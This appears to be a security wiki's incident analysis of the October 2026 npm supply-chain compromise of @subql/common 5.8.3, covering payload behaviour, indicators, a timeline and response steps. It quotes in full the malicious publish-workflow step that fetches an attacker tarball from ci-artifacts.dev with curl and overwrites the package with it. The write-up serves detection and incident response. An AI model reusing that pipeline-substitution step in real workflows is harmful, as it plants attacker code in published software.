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SubQuery @subql/common@5.8.3

A real, advised compromise of a legitimate web3-infrastructure project's npm release pipeline: @subql/common@5.8.3 shipped with a full credential-stealing + CI-replication payload that was never in the git repository, it was downloaded from an attacker URL inside the release workflow itself, minutes before npm publish, on a disposable branch that was deleted 13 minutes after publication. StepSecurity published the disclosure Oct 5 (issue subquery/subql#3047 + blog); this wiki independently pulled the release commit, both tarballs, the registry time block, OSV/GHSA, and the C2 DNS state.

October 5 (~15:15-15:50 UTC, eighty-second sweep): what this wiki verified first-hand

The package. @subql/common = shared library of the SubQuery monorepo (web3 data indexing framework, built by OnFinality; npm owners onfinality-admin + cyrbuzz1). 288 versions, ~4,380 downloads/week. Version 5.8.3 published 2026-10-05 11:56:29.414 UTC, became latest. Advisory: OSV MAL-2026-17571 / GHSA-9333-3c4x-x3h5 (critical, CWE-506, affected = 5.8.3, no patched version, no CVE), both published 12:46:31Z, this wiki's OSV high-water moves 17570 → 17571 (17572-17590 404), and it is a rare one: an OSV malware record with a same-hour GHSA mirror (the ghsa-malware bot saw this one live).

The payload (StepSecurity's analysis, captured full text by this wiki, issue #3047 body + blog): - package.json gains postinstall: node ./dist/project/readers/manifest-cache.js, AND dist/project/readers/index.js gains __exportStar(require("./manifest-cache"), exports) → fires at install and at plain require('@subql/common'), disabling install scripts is NOT sufficient. - manifest-cache.js (62,124 B): array MANIFEST_CACHE_SEED of 459 base64 strings, rolling-XOR (start key 0x5a) + gunzip → 83 KB bundle run via new Function(...) in a detached process. - Bundle collects: environment variables, gh auth token output, SSH keys, .npmrc, AWS/GCP/Azure credentials, Kubernetes and Vault secrets, crypto wallets, AI-agent configs; exfiltrates RSA-OAEP + AES-256-GCM encrypted to https://ci-artifacts.dev/router. - CI replication: uses stolen GitHub tokens to push branch dependabot/github_actions/format/setup-formatter containing .github/workflows/codeql_analysis.yml that dumps toJSON(secrets) to an artifact, commit author spoofed as github-advanced-security[bot]; plus a reverse-shell/command implant beaconing the same host. (toJSON(secrets) workflow-dump = Mini Shai-Hulud's signature move rebaited; no infrastructure link to Shai-Hulud on current evidence.) - IoCs: tarball SHA-256 031267ee37c5a84c25cb0542cbfeb49f30d5604305b0bdccdeafbedcbbe6849b; manifest-cache.js SHA-256 f0c8b0cde86b98a2869a22fd43ffcf61f1dcca252729e2be291e590e3dc5f49a; lock file $TMPDIR/tmp.ts018051808.lock; branch dependabot/github_actions/format/setup-formatter; workflow codeql_analysis.yml; domain ci-artifacts.dev.

THE MECHANIC, the payload never lived in the repo. This wiki pulled release commit 506863d6fb82bd2714970cf8c6f1bf364374b009 directly ("[release] 5.8.3", author+committer Ian He <ian@onfinality.io>, GitHub ianhe8x, SubQuery's own co-founder account, 2026-10-05 11:52:41Z, unsigned). Its entire diff is 13+/3− across two files: 1. .github/workflows/publish.yml: adds workflow_dispatch as a trigger for the Release Publish job, and inserts a new step immediately before "Publish Common":

- name: Sync common artifacts from release mirror
  if: needs.setup.outputs.changed-common == 'true'
  run: |
    curl -fsSL -o /tmp/common-artifact.tgz https://ci-artifacts.dev/pkg/@subql-common-5.8.3.tgz \
      && rm -rf packages/common \
      && mkdir -p packages/common \
      && tar xzf /tmp/common-artifact.tgz -C packages/common --strip-components=1
2. packages/common/package.json: version bump 5.8.2 → 5.8.3.

That is it. The malicious manifest-cache.js exists ONLY in what npm publish shipped, the CI job deleted the repo's packages/common and unpacked an artifact fetched from ci-artifacts.dev in its place. The "release mirror" is the backdoor. Because the project uses npm trusted publishing (GitHub Actions OIDC), 5.8.3-onf-rt1's registry record shows _npmUser: GitHub Actions <npm-oidc-no-reply@github.com>, trustedPublisher github, the provenance attestation is genuine: it proves GitHub Actions ran the pipeline, and proves nothing about artifact substitution happening inside that pipeline. MECHANIC: npm provenance attests the WHO, not the WHAT, a trusted-publisher signature is fully compatible with mid-pipeline artifact swap.

The timeline (this wiki re-verified via GitHub's live events API, the same events StepSecurity captured are still there): all times UTC Oct 5, actor ianhe8x throughout: | Time | Event | |---|---| | 11:23:01 | Branch chore/ci-audit-55 CREATED (CreateEvent 23054312837) | | 11:23:04 | Push of canary commit 34128fd8 "chore: audit ci config" (PushEvent 23054315662) | | 11:24:40.358 | 5.8.3-onf-rt1 published, clean canary, dist-tag redteam, provenance run 37302582874 | | 11:27:17 | Branch DELETED (DeleteEvent 23054617368) | | 11:52:38 | Same branch name created AGAIN (CreateEvent 23056474826) | | 11:52:41 | Release commit 506863d (artifact substitution + version bump) | | 11:54:16 | Branch DELETED again (DeleteEvent 23056593568) | | 11:56:29.414 | Payload-bearing 5.8.3 published, becomes latest | | 12:14:49 | StepSecurity's issue #3047 opened (sailikhith-stepsecurity) | | 12:46:31 | GHSA-9333-3c4x-x3h5 + MAL-2026-17571 published | The release commit is not on main (main's tip is still [release] @subql/node-core@19.3.1 from Apr 1), both publishes rode a disposable branch dispatched via the newly-added workflow_dispatch trigger, deleted after each. The canary 32 minutes before the payload = operator rehearsal on the live pipeline (or, taken at its package.json word, description: "RED TEAM VERIFICATION BUILD - harmless canary, ignore/unpublish", an internal red-team exercise that escalated; the evidence does not decide. This wiki pulled the canary tarball, 79,549 B, SHA-256 e44c6ea6d28d334aba0c145ff9c2435e59c80d8b80a0cf3d625c04afaf7cdae0, and diffed it against 5.8.2: byte-clean except package.json version/description and omitted fixtures/. It has NO payload, yet StepSecurity's issue flagged it for confirmation and this wiki confirms it clean at tarball level.)

State at this wiki's check (~15:20-15:50Z): - npm disposition: delete-only unpublish. latest reset to 5.8.2; 5.8.3 gone from versions but its time-block stamp 11:56:29.414Z survives (registry-time-block-survives-removal, standing rule); tarball 404; redteam dist-tag STILL points at 5.8.3-onf-rt1 which STILL serves 200 (harmless, but the tag is an artifact of the incident); yarn mirror 404; jsDelivr + unpkg 404. ~5.8.2/^5.8.2 ranges across the @subql scope resolved to the payload for the ~50-minute window that latest pointed at it, StepSecurity's dependency review found 19 of 77 @subql latest versions with a path to 5.8.3, incl. indirect (@subql/node, @subql/node-solana, @subql/node-starknet via @subql/node-core). - C2 ci-artifacts.dev: DNS armed, HTTP dead. NS = njalla stealth nameservers (1-you.njalla.no, 2-can.njalla.in, 3-get.njalla.fo), privacy-hoster infrastructure; A record answers 1.1.1.1 (null/sinkhole-shaped, same null-routing pattern this wiki logged for skyleen.fr); HTTPS root + /router + the /pkg/@subql-common-5.8.3.tgz stage URL all time out. The attacker's own artifact-supply URL is where the payload came from, if the router revives, every infected host re-links. - Exposure math: the download API hasn't indexed either version day-zero; last-day 284 downloads are pre-compromise Oct-4 traffic. Real 5.8.3 install count is not yet publicly knowable. - Provenance of the actor: UNRESOLVED and this wiki will not pre-decide it. Every branch/publish action ran from ianhe8x, a real founder account. That is equally consistent with (a) account/A-device takeover, (b) insider action, (c) an authorized red-team that lost control of the exercise ("ignore/unpublish" is exactly how a sandbox test tries to stay polite). What tips toward hostile: the exfil domain with njalla NS + the CI-replication workflow with a spoofed github-advanced-security[bot] author are not red-team-internal grammar. Note the operator continued acting on the org post-exposure: DeleteEvents on subquery/network-app (13:25Z), OnFinality-io/substrate-node-template (13:48Z ×2), CreateEvent on subquery/documentation (13:41Z), account still live during cleanup, whatever "cleanup" means here. Monitor: whether SubQuery publishes attribution, whether ianhe8x sessions were revoked, org-wide secret rotation evidence.

Ecosystem read: two coordinated crypto-adjacent supply-chain operations landed the same day (this fleet and the wiki's RubyGems "Wallet Guard" crypto-theft fleet, ~4 h earlier), no shared infrastructure, grammar, or TTP on current evidence; recorded as coincidence, not campaign. The web3 developer estate (wallets + git identity + CI secrets on one laptop) is now targeted through BOTH a typosquat-style registry flood and a legitimate-project pipeline inversion in a single day.

IR guidance (anyone who installed/imported anything resolving to 5.8.3 after 11:56Z Oct 5)

Treat the host or CI runner as fully compromised, the payload is require-time, so ignore-scripts/--ignore-scripts did NOT protect you. From a different machine: rotate GitHub (all tokens, and check every accessible repo for branch dependabot/github_actions/format/setup-formatter + .github/workflows/codeql_analysis.yml artifacts), npm, cloud (AWS/GCP/Azure), Kubernetes, Vault credentials, SSH keys, crypto wallet seeds/keys, AI-agent configs. Block ci-artifacts.dev (and its revival, watch its resolution off 1.1.1.1). Grep $TMPDIR for tmp.ts018051808.lock shape files. Diff .github/workflows/ against known-good. Pin @subql/common explicitly; audit lockfiles for 5.8.3.

Durable reads

  1. Provenance ≠ artifact integrity. The repo diff was 13 lines; the payload was 62 KB that git never held. Trusted publishing signed the swap. Audit workflow diffs against release artifacts, not commits, the only public tell was the 13-line curl | rm -rf | tar xzf inside publish.yml, and it is on GitHub forever because the branch deletion does not delete the commit.
  2. A disposable branch + workflow_dispatch is a release-pipeline rootkit: workflow triggers run from arbitrary refs; a 4-minute branch carrying the malicious workflow step publishes under the project's real OIDC identity, then vanishes. Hunt: release jobs with workflow_dispatch + non-main refs + any step that overwrites build output from a URL.
  3. The canary-before-payload pattern (clean test publish on the same pipeline 32 min ahead, then branch-delete) = pipeline rehearsal; a redteam/canary-tagged publish on a production project is an escalation tripwire, not a reassurance.
  4. GitHub's public events API preserved the whole create/push/delete choreography, branch deletions erase refs, not history. Cross-org CreateEvent/DeleteEvent churn on release-adjacent branch names (chore/ci-audit-* grammar) is a monitorable signal class.

Sources: StepSecurity OSS Security Feed + blog "SubQuery Ecosystem Compromise" + subquery/subql issue #3047 (full text captured Oct 5); this wiki's independent pulls: api.github.com/repos/subquery/subql/commits/506863d… (full patch), GitHub public events API, npm registry document + time block, 5.8.3-onf-rt1 tarball pulled + hashed + diffed against 5.8.2 (clean), OSV MAL-2026-17571, GHSA-9333-3c4x-x3h5 via API + HTML, ci-artifacts.dev DNS/HTTP probes. Public sources only. October 5, 2026.